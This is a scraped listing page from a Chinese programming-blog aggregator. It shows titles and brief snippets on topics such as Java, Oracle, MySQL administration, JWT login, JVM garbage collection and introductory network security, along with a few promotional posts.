target="_blank">山东省大数据局副局长禹金涛一行莅临聚合数据走访调研</a> 聚合数据 <a class="tag" taget="_blank" href="/search/API/1.htm">API</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/API/1.htm">API</a> <div>3月19日，山东省大数据局党组成员、副局长禹金涛莅临聚合数据展开考察调研。山东省大数据局数据应用管理与安全处处长杨峰，副处长都海明参加调研，苏州市大数据局副局长汤晶陪同。聚合数据董事长左磊等人接待来访。调研组一行参观了聚合数据展厅，了解了聚合数据的发展历程、数据产品、应用案例、奖项荣誉等情况。并就企业在数据处理和应用方面取得的成绩进行了深入交流。作为最早一批进入大数据行业的企业，聚合数据深耕行业十</div> </li> <li><a href="/article/1772646499340058624.htm" title="什么软件可以改IP地址" target="_blank">什么软件可以改IP地址</a> bafnpa123 <a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>什么软件可以改IP地址在现代网络环境中，有时候我们需要更换IP地址来进行网络操作。IP地址是网络通信的基石，它标识了计算机在互联网上的唯一身份。下面，我将向您介绍几种常见的换IP地址的方法：方法一：使用深度ip转换器ip转换器是一种可以在公共网络上建立加密通道的技术。通过ip转换器，您可以更换您的IP地址，从而隐藏您的真实IP，提高网络安全性。在选择ip转换器服务时，请务必选择信誉良好、速度稳定的</div> </li> <li><a href="/article/1772639322672005120.htm" title="网络安全（黑客技术）—自学" target="_blank">网络安全（黑客技术）—自学</a> 德西德西 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a> <div>1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视</div> </li> <li><a href="/article/1772612257570684928.htm" title="2024年健康教育、食品安全与社会科学国际会议（ICHEFSSS 2024）" target="_blank">2024年健康教育、食品安全与社会科学国际会议（ICHEFSSS 2024）</a> GuGu_chen <a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A%E5%88%9B%E6%96%B0/1.htm">创业创新</a> <div>2024年健康教育、食品安全与社会科学国际会议（ICHEFSSS2024）2024InternationalConferenceonHealthEducation,FoodSafetyandSocialSciences会议简介：食品安全社会科学是一个综合性的研究领域，旨在从社会科学的角度深入探究食品安全问题。它涉及到法学、经济学、管理学、社会学、伦理学、新闻学和国际关系学等多个学科的知识和方法。通</div> </li> <li><a href="/article/1772544887032446976.htm" title="金英沧州焦点解决初64中17，本周第二次、第三次约练，总第440次、第441次分享，坚持分享第187天" target="_blank">金英沧州焦点解决初64中17，本周第二次、第三次约练，总第440次、第441次分享，坚持分享第187天</a> 守护甜心 <div>第440次分享青春期顾左右而言他的女生，可以和她聊她的小说，也许是她杜撰的小说，但是可以从中看出她的投射。通过谈论小说中主人公的情感、经历、认知、感受，了解她，走进她的脉络。当了解的足够多了，情绪宣泄的差不多了，可以联系到现实生活中，再聊现实生活，她就不那么防御了，因为她觉得咨询师理解她，她感到安全。一个外表阳光帅气自立的女孩子，内心一片柔情似水，渴望爱情，渴望被呵护，却羞于说出口，当她能说出来，</div> </li> <li><a href="/article/1772460704834584576.htm" title="分布式应用下登录检验解决方案" target="_blank">分布式应用下登录检验解决方案</a> 敲键盘的小夜猫 <a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>优缺点JWT是一个开放标准，它定义了一种用于简洁，自包含的用于通信双方之间以JSON对象的形式安全传递信息的方法。可以使用HMAC算法或者是RSA的公钥密钥对进行签名。说白了就是通过一定规范来生成token，然后可以通过解密算法逆向解密token，这样就可以获取用户信息。生产的token可以包含基本信息，比如id、用户昵称、头像等信息，避免再次查库，可以存储在客户端，不占用服务端的内存资源，在前后</div> </li> <li><a href="/article/1772460289120337920.htm" title="麦吉丽贵妇膏代理多少钱" target="_blank">麦吉丽贵妇膏代理多少钱</a> 麦吉丽小芹 <div>麦吉丽、麦吉丽贵妇膏、麦吉丽代理、麦吉丽素颜三部曲、贵妇膏详细咨询请添加V信：18688885511国内首个拥有完善代理商管理以及培训系统。旗下四十几款产品，涵盖护肤、彩妆、身体护理、问题肌肤修复护理等方面，其中【素颜三部曲】更是因为被人口碑称赞而迅速蹿红朋友圈及各大微博头条!麦吉丽因其天然、安全有效、高品质立足中国高端护肤品市场，线下专柜体验店遍地开花。大半个娱乐圈明星都在用的护肤佳品。麦吉丽贵</div> </li> <li><a href="/article/1772458394720993280.htm" title="Java学习笔记：atomic的实现原理？" target="_blank">Java学习笔记：atomic的实现原理？</a> 曲钟人散 <div>在多线程的场景中，我们需要保证数据安全，就会考虑同步的方案，通常会使用synchronized或者lock来处理，使用了synchronized意味着内核态的一次切换。这是一个很重的操作。有没有一种方式，可以比较便利的实现一些简单的数据同步，比如计数器等等。concurrent包下的atomic提供我们这么一种轻量级的数据同步的选择。classMyThreadimplementsRunnable{</div> </li> <li><a href="/article/1772455795410141184.htm" title="安全点安全区的通俗理解" target="_blank">安全点安全区的通俗理解</a> 来自宇宙的曹先生 <a class="tag" taget="_blank" href="/search/JVM/1.htm">JVM</a><a class="tag" taget="_blank" href="/search/%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6/1.htm">垃圾回收</a><a class="tag" taget="_blank" href="/search/GC/1.htm">GC</a> <div>想象一下，JVM（Java虚拟机）是一个忙碌的工厂，而Java程序中的线程就像是工厂里的工人。在这个工厂中，有时需要进行一些大规模的清理工作，比如垃圾回收，来确保工厂运行得更加高效。但是，如果在清理过程中所有的工人都继续他们的工作，可能会引发一些问题，比如有些工人可能正在使用一些即将被清理的资源。为了避免这类问题，JVM引入了“安全点（Safepoint）”和“安全区（SafeRegion）”的概</div> </li> <li><a href="/article/1772451893713371136.htm" title="网络安全（黑客技术）—2024自学" target="_blank">网络安全（黑客技术）—2024自学</a> 德西德西 <a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>1.网络安全是什么网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。2.网络安全市场一、是市场需求量高；二、则是发展相对成熟入门比较容易。3.所需要的技术水平需要掌握的知识点偏多（举例）：4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国家安全更有为国效力的正义黑客—红客联盟可见其重视</div> </li> <li><a href="/article/1772431796454096896.htm" title="京东优惠券，京东内部优惠券免费领取？探秘优惠券背后的真相" target="_blank">京东优惠券，京东内部优惠券免费领取？探秘优惠券背后的真相</a> 高省爱氧惠 <div>随着网络购物的日益普及，电商平台上的各种优惠券也成了消费者们竞相追逐的焦点。其中，京东作为国内电商领域的佼佼者，其优惠券的发放和领取更是备受关注。特别是在网络上流传着“京东内部优惠券免费领取”的消息，更是让不少消费者心动不已。那么，这些优惠券真的存在吗？我们又该如何正确、安全地领取和使用它们呢？首先，我们需要明确的是，京东优惠券确实存在，并且种类繁多。这些优惠券包括满减券、折扣券、免邮券等多种形式</div> </li> <li><a href="/article/1772407208080900096.htm" title="网络安全（黑客）—2024自学笔记" target="_blank">网络安全（黑客）—2024自学笔记</a> 羊村最强沸羊羊 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你</div> </li> <li><a href="/article/1772389208908955648.htm" title="Nagios安装部署全攻略" target="_blank">Nagios安装部署全攻略</a> weixin_34109408 <a class="tag" taget="_blank" href="/search/memcached/1.htm">memcached</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a> <div>概述：公司的生产机器一共有12台，2台LVS(主备)、2台nginx、2台tomcat、1台后台服务器(nginx_tomcat)、3台mysql(主+备+异地灾备)、1台图片服务器、2台memcached.可以看出网站的架构就是基于高可用的原理的，每个层面都做了主备、系统的PV不高，对于并发布，高性能没有那么苛求，对于系统安全、稳定有较高要求，前期已经对系统做了各种日志分析，WAF配置，漏洞扫面</div> </li> <li><a href="/article/1772369649606918144.htm" title="苑九芬1601：内在小孩" target="_blank">苑九芬1601：内在小孩</a> 苑九芬家庭教育心理咨询 <div>内在小孩是什么？内在小孩是一个人内在最纯然最本真的样子，他的状态取决于我们小时候的经历。如果童年时没有被好好对待，那内在小孩就会匮乏、缺爱、自卑，只有童年时有被好好爱过的人，才会有一个健康快乐的内在小孩，与之相对的，就是满满的安全感、自信和踏实感。绝大多数人都不知道自己内在小孩的存在，更不会去疗愈、照顾自己的内在小孩，于是，这个被忽视的孩子就会是不是跳出来提醒你：我想要爱，想要关注，想要安慰。所有</div> </li> <li><a href="/article/1772342304309313536.htm" title="315晚会刚过，币圈还需自我净化" target="_blank">315晚会刚过，币圈还需自我净化</a> 区块琪迹 <div>昨天315晚会，相信币圈至少贡献了一半的收视率。然而，整个315晚会一个跟币圈、一个跟区块链相关的案例都没提。很多危机项目方长舒一口气，暂时安全了；套牢韭菜长叹一口气，暂时还得继续维权了。前几年的市场大跌，国内其实并没有看过这么多经典剧情，最多是矿池交易所跑个路，也没大规模维权，因为参与人数有限，一般损失量不大，大家也都不Care。但今年不同了，项目方参与进来，产业链条变得越来越长，环节变得越来越</div> </li> <li><a href="/article/1772253016796233728.htm" title="论文整理：隐私签名" target="_blank">论文整理：隐私签名</a> yixvxi <a class="tag" taget="_blank" href="/search/Survey/1.htm">Survey</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E6%A1%A3%E8%B5%84%E6%96%99/1.htm">文档资料</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a> <div>最近准备开题了（苦恼…），整理一些看过/没看过的论文。持续更新…数字签名：隐私数字签名的定义&安全性(book)0.Deffie-Hellman.NewDirectionsinCryptography.1976Katz,J.(2010).DigitalSignatures:BackgroundandDefinitions.In:DigitalSignatures.Springer,Boston,M</div> </li> <li><a href="/article/1772144895838978048.htm" title="AI原生安全亚信安全首个“人工智能安全实用手册”开放阅览" target="_blank">AI原生安全亚信安全首个“人工智能安全实用手册”开放阅览</a> 亚信安全官方账号 <a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a> <div>不断涌现的AI技术新应用和大模型技术革新，让我们感叹从没有像今天这样，离人工智能的未来如此之近。追逐AI原生？企业组织基于并利用大模型技术探索和开发AI应用的无限可能，迎接生产与业务模式的全面的革新。我们更应关心AI安全原生。实施人工智能是一项复杂又长远的任务，任何希望利用大模型的组织在设计之初，都必须将安全打入地基，安全一定是AI技术发展的核心要素。针对人工智能和大模型面临的威胁与攻击模式，亚信</div> </li> <li><a href="/article/95.htm" title="PHP，安卓，UI，java，linux视频教程合集" target="_blank">PHP，安卓，UI，java，linux视频教程合集</a> cocos2d-x小菜 <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>╔-----------------------------------╗┆ </div> </li> <li><a href="/article/222.htm" title="zookeeper admin 笔记" target="_blank">zookeeper admin 笔记</a> braveCS <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div> Required Software 1) JDK>=1.6 2)推荐使用ensemble的ZooKeeper(至少3台)，并run on separate machines 3)在Yahoo!，zk配置在特定的RHEL boxes里，2个cpu，2G内存，80G硬盘数据和日志目录 1)数据目录里的文件是zk节点的持久化备份，包括快照和事务日</div> </li> <li><a href="/article/349.htm" title="Spring配置多个连接池" target="_blank">Spring配置多个连接池</a> easterfly <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>项目中需要同时连接多个数据库的时候，如何才能在需要用到哪个数据库就连接哪个数据库呢？ Spring中有关于dataSource的配置： <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" &nb</div> </li> <li><a href="/article/476.htm" title="Mysql" target="_blank">Mysql</a> 171815164 <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>例如，你想myuser使用mypassword从任何主机连接到mysql服务器的话。 GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%'IDENTIFIED BY 'mypassword' WI TH GRANT OPTION; 如果你想允许用户myuser从ip为192.168.1.6的主机连接到mysql服务器，并使用mypassword作</div> </li> <li><a href="/article/603.htm" title="CommonDAO（公共/基础DAO）" target="_blank">CommonDAO（公共/基础DAO）</a> g21121 <a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a> <div> 好久没有更新博客了，最近一段时间工作比较忙，所以请见谅，无论你是爱看呢还是爱看呢还是爱看呢，总之或许对你有些帮助。 DAO(Data Access Object)是一个数据访问（顾名思义就是与数据库打交道）接口，DAO一般在业</div> </li> <li><a href="/article/730.htm" title="直言有讳" target="_blank">直言有讳</a> 永夜-极光 <a class="tag" taget="_blank" href="/search/%E6%84%9F%E6%82%9F/1.htm">感悟</a><a class="tag" taget="_blank" href="/search/%E9%9A%8F%E7%AC%94/1.htm">随笔</a> <div> 1.转载地址:http://blog.csdn.net/jasonblog/article/details/10813313 精华: “直言有讳”是阿里巴巴提倡的一种观念，而我在此之前并没有很深刻的认识。为什么呢？就好比是读书时候做阅读理解，我喜欢我自己的解读，并不喜欢老师给的意思。在这里也是。我自己坚持的原则是互相尊重，我觉得阿里巴巴很多价值观其实是基本的做人</div> </li> <li><a href="/article/857.htm" title="安装CentOS 7 和Win 7后，Win7 引导丢失" target="_blank">安装CentOS 7 和Win 7后，Win7 引导丢失</a> 随便小屋 <a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a> <div>一般安装双系统的顺序是先装Win7，然后在安装CentOS，这样CentOS可以引导WIN 7启动。但安装CentOS7后，却找不到Win7 的引导，稍微修改一点东西即可。一、首先具有root 的权限。即进入Terminal后输入命令su，然后输入密码即可二、利用vim编辑器打开/boot/grub2/grub.cfg文件进行修改 v</div> </li> <li><a href="/article/984.htm" title="Oracle备份与恢复案例" target="_blank">Oracle备份与恢复案例</a> aijuans <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>Oracle备份与恢复案例一. 理解什么是数据库恢复当我们使用一个数据库时，总希望数据库的内容是可靠的、正确的，但由于计算机系统的故障（硬件故障、软件故障、网络故障、进程故障和系统故障）影响数据库系统的操作，影响数据库中数据的正确性，甚至破坏数据库，使数据库中全部或部分数据丢失。因此当发生上述故障后，希望能重构这个完整的数据库，该处理称为数据库恢复。恢复过程大致可以分为复原(Restore)与</div> </li> <li><a href="/article/1111.htm" title="JavaEE开源快速开发平台G4Studio v5.0发布" target="_blank">JavaEE开源快速开发平台G4Studio v5.0发布</a> 無為子 <div> 我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V5.0版本已经正式发布。访问G4Studio网站 http://www.g4it.org 2013-04-06 发布G4Studio_V5.0版本功能新增 (1). 新增了调用Oracle存储过程返回游标，并将游标映射为Java List集合对象的标</div> </li> <li><a href="/article/1238.htm" title="Oracle显示根据高考分数模拟录取" target="_blank">Oracle显示根据高考分数模拟录取</a> 百合不是茶 <a class="tag" taget="_blank" href="/search/PL%2FSQL%E7%BC%96%E7%A8%8B/1.htm">PL/SQL编程</a><a class="tag" taget="_blank" href="/search/oracle%E4%BE%8B%E5%AD%90/1.htm">oracle例子</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E6%8B%9F%E9%AB%98%E8%80%83%E5%BD%95%E5%8F%96/1.htm">模拟高考录取</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E4%BA%A4%E6%B5%81/1.htm">学习交流</a> <div>题目要求: 1,创建student表和result表 2,pl/sql对学生的成绩数据进行处理 3,处理的逻辑是根据每门专业课的最低分线和总分的最低分数线自动的将录取和落选 1,创建student表,和result表学生信息表; create table student( student_id number primary key,--学生id</div> </li> <li><a href="/article/1365.htm" title="优秀的领导与差劲的领导" target="_blank">优秀的领导与差劲的领导</a> bijian1013 <a class="tag" taget="_blank" href="/search/%E9%A2%86%E5%AF%BC/1.htm">领导</a><a class="tag" taget="_blank" href="/search/%E7%AE%A1%E7%90%86/1.htm">管理</a><a class="tag" taget="_blank" href="/search/%E5%9B%A2%E9%98%9F/1.htm">团队</a> <div>责任优秀的领导：优秀的领导总是对他所负责的项目担负起责任。如果项目不幸失败了，那么他知道该受责备的人是他自己，并且敢于承认错误。差劲的领导：差劲的领导觉得这不是他的问题，因此他会想方设法证明是他的团队不行，或是将责任归咎于团队中他不喜欢的那几个成员身上。努力工作优秀的领导：团队领导应该是团队成员的榜样。至少，他应该与团队中的其他成员一样努力工作。这仅仅因为他</div> </li> <li><a href="/article/1492.htm" title="js函数在浏览器下的兼容" target="_blank">js函数在浏览器下的兼容</a> Bill_chen <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/IE/1.htm">IE</a><a class="tag" taget="_blank" href="/search/DWR/1.htm">DWR</a><a class="tag" taget="_blank" href="/search/ext/1.htm">ext</a> <div> 做前端开发的工程师，少不了要用FF进行测试，纯js函数在不同浏览器下，名称也可能不同。对于IE6和FF，取得下一结点的函数就不尽相同： IE6：node.nextSibling,对于FF是不能识别的； FF：node.nextElementSibling,对于IE是不能识别的；兼容解决方式：var Div = node.nextSibl</div> </li> <li><a href="/article/1619.htm" title="【JVM四】老年代垃圾回收：吞吐量垃圾收集器(Throughput GC)" target="_blank">【JVM四】老年代垃圾回收：吞吐量垃圾收集器(Throughput GC)</a> bit1129 <a class="tag" taget="_blank" href="/search/%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6/1.htm">垃圾回收</a> <div>吞吐量与用户线程暂停时间衡量垃圾回收算法优劣的指标有两个：吞吐量越高，则算法越好暂停时间越短，则算法越好首先说明吞吐量和暂停时间的含义。垃圾回收时，JVM会启动几个特定的GC线程来完成垃圾回收的任务，这些GC线程与应用的用户线程产生竞争关系，共同竞争处理器资源以及CPU的执行时间。GC线程不会对用户带来的任何价值，因此，好的GC应该占</div> </li> <li><a href="/article/1746.htm" title="J2EE监听器和过滤器基础" target="_blank">J2EE监听器和过滤器基础</a> 白糖_ <a class="tag" taget="_blank" href="/search/J2EE/1.htm">J2EE</a> <div> Servlet程序由Servlet，Filter和Listener组成，其中监听器用来监听Servlet容器上下文。监听器通常分三类：基于Servlet上下文的ServletContex监听，基于会话的HttpSession监听和基于请求的ServletRequest监听。 ServletContex监听器 ServletContex又叫application</div> </li> <li><a href="/article/1873.htm" title="博弈AngularJS讲义(16) - 提供者" target="_blank">博弈AngularJS讲义(16) - 提供者</a> boyitech <a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/api/1.htm">api</a><a class="tag" taget="_blank" href="/search/Angular/1.htm">Angular</a><a class="tag" taget="_blank" href="/search/Provider/1.htm">Provider</a> <div> Angular框架提供了强大的依赖注入机制，这一切都是有注入器(injector)完成. 注入器会自动实例化服务组件和符合Angular API规则的特殊对象，例如控制器，指令，过滤器动画等。那注入器怎么知道如何去创建这些特殊的对象呢？ Angular提供了5种方式让注入器创建对象，其中最基础的方式就是提供者(provider), 其余四种方式(Value, Fac</div> </li> <li><a href="/article/2000.htm" title="java-写一函数f(a,b)，它带有两个字符串参数并返回一串字符，该字符串只包含在两个串中都有的并按照在a中的顺序。" target="_blank">java-写一函数f(a,b)，它带有两个字符串参数并返回一串字符，该字符串只包含在两个串中都有的并按照在a中的顺序。</a> bylijinnan <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div> public class CommonSubSequence { /** * 题目：写一函数f(a,b)，它带有两个字符串参数并返回一串字符，该字符串只包含在两个串中都有的并按照在a中的顺序。 * 写一个版本算法复杂度O(N^2)和一个O(N) 。 * * O(N^2)：对于a中的每个字符，遍历b中的每个字符，如果相同，则拷贝到新字符串中。 * O(</div> </li> <li><a href="/article/2127.htm" title="sqlserver 2000 无法验证产品密钥" target="_blank">sqlserver 2000 无法验证产品密钥</a> Chen.H <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a><a class="tag" taget="_blank" href="/search/Microsoft/1.htm">Microsoft</a> <div>在 Service Pack 4 (SP 4), 是运行 Microsoft Windows Server 2003、 Microsoft Windows Storage Server 2003 或 Microsoft Windows 2000 服务器上您尝试安装 Microsoft SQL Server 2000 通过卷许可协议 (VLA) 媒体。这样做, 收到以下错误信息CD KEY的 SQ</div> </li> <li><a href="/article/2254.htm" title="[新概念武器]气象战争" target="_blank">[新概念武器]气象战争</a> comsci <div> 气象战争的发动者必须是拥有发射深空航天器能力的国家或者组织.... 原因如下: 地球上的气候变化和大气层中的云层涡旋场有密切的关系,而维持一个在大气层某个层次</div> </li> <li><a href="/article/2381.htm" title="oracle 中 rollup、cube、grouping 使用详解" target="_blank">oracle 中 rollup、cube、grouping 使用详解</a> daizj <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/grouping/1.htm">grouping</a><a class="tag" taget="_blank" href="/search/rollup/1.htm">rollup</a><a class="tag" taget="_blank" href="/search/cube/1.htm">cube</a> <div>oracle 中 rollup、cube、grouping 使用详解 -- 使用oracle 样例表演示转自namesliu -- 使用oracle 的样列库，演示 rollup, cube, grouping 的用法与使用场景 --- ROLLUP ，为了理解分组的成员数量，我增加了分组的计数 COUNT(SAL) </div> </li> <li><a href="/article/2508.htm" title="技术资料汇总分享" target="_blank">技术资料汇总分享</a> Dead_knight <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E8%B5%84%E6%96%99%E6%B1%87%E6%80%BB+%E5%88%86%E4%BA%AB/1.htm">技术资料汇总分享</a> <div>本人汇总的技术资料，分享出来，希望对大家有用。 http://pan.baidu.com/s/1jGr56uE 资料主要包含： Workflow->工作流相关理论、框架(OSWorkflow、JBPM、Activiti、fireflow...) Security->java安全相关资料(SSL、SSO、SpringSecurity、Shiro、JAAS...) Ser</div> </li> <li><a href="/article/2635.htm" title="初一下学期难记忆单词背诵第一课" target="_blank">初一下学期难记忆单词背诵第一课</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/english/1.htm">english</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a> <div>could 能够 minute 分钟 Tuesday 星期二 February 二月 eighteenth 第十八 listen 听 careful 小心的，仔细的 short 短的 heavy 重的 empty 空的 certainly 当然 carry 携带；搬运 tape 磁带 basket 蓝子 bottle 瓶 juice 汁，果汁 head 头；头部 </div> </li> <li><a href="/article/2762.htm" title="截取视图的图片, 然后分享出去" target="_blank">截取视图的图片, 然后分享出去</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/OS/1.htm">OS</a><a class="tag" taget="_blank" href="/search/Objective-C/1.htm">Objective-C</a> <div>OS 7 has a new method that allows you to draw a view hierarchy into the current graphics context. This can be used to get an UIImage very fast. I implemented a category method on UIView to get the vi</div> </li> <li><a href="/article/2889.htm" title="MySql重置密码" target="_blank">MySql重置密码</a> fanxiaolong <a class="tag" taget="_blank" href="/search/MySql%E9%87%8D%E7%BD%AE%E5%AF%86%E7%A0%81/1.htm">MySql重置密码</a> <div>方法一: 在my.ini的[mysqld]字段加入： skip-grant-tables 重启mysql服务，这时的mysql不需要密码即可登录数据库然后进入mysql mysql>use mysql; mysql>更新 user set password=password('新密码') WHERE User='root'; mysq</div> </li> <li><a href="/article/3016.htm" title="Ehcache（03）——Ehcache中储存缓存的方式" target="_blank">Ehcache（03）——Ehcache中储存缓存的方式</a> 234390216 <a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a><a class="tag" taget="_blank" href="/search/MemoryStore/1.htm">MemoryStore</a><a class="tag" taget="_blank" href="/search/DiskStore/1.htm">DiskStore</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8/1.htm">存储</a><a class="tag" taget="_blank" href="/search/%E9%A9%B1%E9%99%A4%E7%AD%96%E7%95%A5/1.htm">驱除策略</a> <div>Ehcache中储存缓存的方式目录 1 堆内存（MemoryStore） 1.1 指定可用内存 1.2 驱除策略 1.3 元素过期 2 &nbs</div> </li> <li><a href="/article/3143.htm" title="spring mvc中的@propertysource" target="_blank">spring mvc中的@propertysource</a> jackyrong <a class="tag" taget="_blank" href="/search/spring+mvc/1.htm">spring mvc</a> <div> 在spring mvc中，在配置文件中的东西，可以在java代码中通过注解进行读取了： @PropertySource 在spring 3.1中开始引入比如有配置文件 config.properties mongodb.url=1.2.3.4 mongodb.db=hello 则代码中 @PropertySource(&</div> </li> <li><a href="/article/3270.htm" title="重学单例模式" target="_blank">重学单例模式</a> lanqiu17 <a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a><a class="tag" taget="_blank" href="/search/Singleton/1.htm">Singleton</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E5%BC%8F/1.htm">模式</a> <div>最近在重新学习设计模式，感觉对模式理解更加深刻。觉得有必要记下来。第一个学的就是单例模式，单例模式估计是最好理解的模式了。它的作用就是防止外部创建实例，保证只有一个实例。单例模式的常用实现方式有两种，就人们熟知的饱汉式与饥汉式，具体就不多说了。这里说下其他的实现方式静态内部类方式: package test.pattern.singleton.statics; publ</div> </li> <li><a href="/article/3397.htm" title=".NET开源核心运行时，且行且珍惜" target="_blank">.NET开源核心运行时，且行且珍惜</a> netcome <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a> <div>背景 2014年11月12日，ASP.NET之父、微软云计算与企业级产品工程部执行副总裁Scott Guthrie，在Connect全球开发者在线会议上宣布，微软将开源全部.NET核心运行时，并将.NET 扩展为可在 Linux 和 Mac OS 平台上运行。.NET核心运行时将基于MIT开源许可协议发布，其中将包括执行.NET代码所需的一切项目——CLR、JIT编译器、垃圾收集器（GC）和核心</div> </li> <li><a href="/article/3524.htm" title="使用oscahe缓存技术减少与数据库的频繁交互" target="_blank">使用oscahe缓存技术减少与数据库的频繁交互</a> Everyday都不同 <a class="tag" 